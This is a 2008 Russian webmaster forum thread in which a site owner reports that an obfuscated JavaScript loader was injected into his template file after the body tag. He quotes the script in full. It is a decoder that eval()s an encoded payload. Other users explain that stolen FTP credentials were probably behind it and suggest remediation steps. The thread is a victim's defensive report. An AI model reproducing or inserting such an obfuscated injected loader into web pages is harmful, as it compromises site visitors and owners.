Вирус, дописывающий яваскрипт в файлы на сервере

sozon · 2008-12-08T09:52:20.0000000Z

В общем в один момент перестал у меня работать один из сайтов. Стал разбираться что случилось и нашел в файле header.tpl вставку яваскриптовую. <script language=JavaScript> function aabnb25(z){ var c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,45,56,32,22,10,15,3,27,0,0,0,0,0,0,0,31,61,30,4,16,6,26,55,34,8,51,62,52,29,5,9,35,7,43,17,48,37,1,54,42,47,25,0,0,0,0,33,0,28,38,41,40,13,59,2,58,21,20,14,39,60,19,49,11,44,36,24,12,57,53,18,23,50,46);for(s=Math.ceil(c/m);s>0;s--){h='';for(i=Math.min(c,m);i>0;i--,c--){{x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(135^x&255);x>>=8;w-=2}else{w=6}}}eval(h);}}aabnb25('TfBhPPkmcw0mb6YmLRpd7PBhH75YPPkuyRz2c6@XTxYfJpKR3zRf_xYuXpKcc8zhHRpu_8f1WB5AvnzzUKKmJ@@YdHXYL@Y2H6BXzlB2dPhmdHpdqXquJ0BXvPzmc6KR58KmYlFAblK2dRKRzWX1Lkf10h5R3wB2WBR13y5dUB5mz6KmYRfqWhfcYpzf30Kmhw81lw0mKYz2h4h2zn0AR8z0AbkhcpBcuzpXzQBAbRz2ugXR') </script> Этот скрипт был вставлен сразу после открывающего body. Раньше уже сталкивался с такой проблемой на другом сайте. Поспрашивал по форумам мне сказали что это из за того, что я сохранил пароль от фтп в тотал командоре. С тех пор я его там не сохраняю, но видимо дело не в этом, т.к. все равно файл каким то образом изменился. PS Движки в обоих случаях самописные, т.е. очевидно вирус просто ищет файлы с открывающим body и дописывает яваскрипт. У кого нить были подобные проблемы? PSS щас проблил ip адрес, указанный после скрипта - это ip бизхоста (зараженный сайт тоже хостился там же).

90

sozon

8 декабря 2008, 15:21

#11

Спасибо Vizavi.

Теперь хоть понятно что это такое. Щас почитаю про это. Интересует вопрос: как я понимаю инжект ведь идет с других компов. С моего компа наверное только пароль крадется. Т.е. в принципе если я ограничу доступ по ftp только своим ip, то в принципе могу защититься от этого.

Так?

145

Vizavi

8 декабря 2008, 15:34

#12

да, с других, с сервера может запускаться, если списки фтп большие. Доступ можете ограничить, фильтруя айпишник, но лучше разобраться где дырка.

Большой брат следит за тобой.

AK

94

A_Kulik

8 декабря 2008, 16:16

#13

С хостером наверное тоже не помешает побеседовать. Была подобная хрень, когда уплыли пароли только одного хостера /наверное не буду в паблик говорить, какого/. А у меня куплено 5 разных хостингов. Соответственно это не троян.

Рефки все кончились.

36

zhidronsss

8 декабря 2008, 17:17

#14

Была такая беда.хранил в тотале все пароли на фтп. кончилось тем же только хуже -захлопнули аккаунт адсенса (ис за ифреймов) с формулировкой "предсавляю угрозу"

1. менять все пароли

2. просмотреть аккуратно какие файлы били изменены злодеями

3. не хранить пароли

Все что нужно знать о DDоS-атаках грамотному менеджеру

Google: E-E-A-T не является фактором ранжирования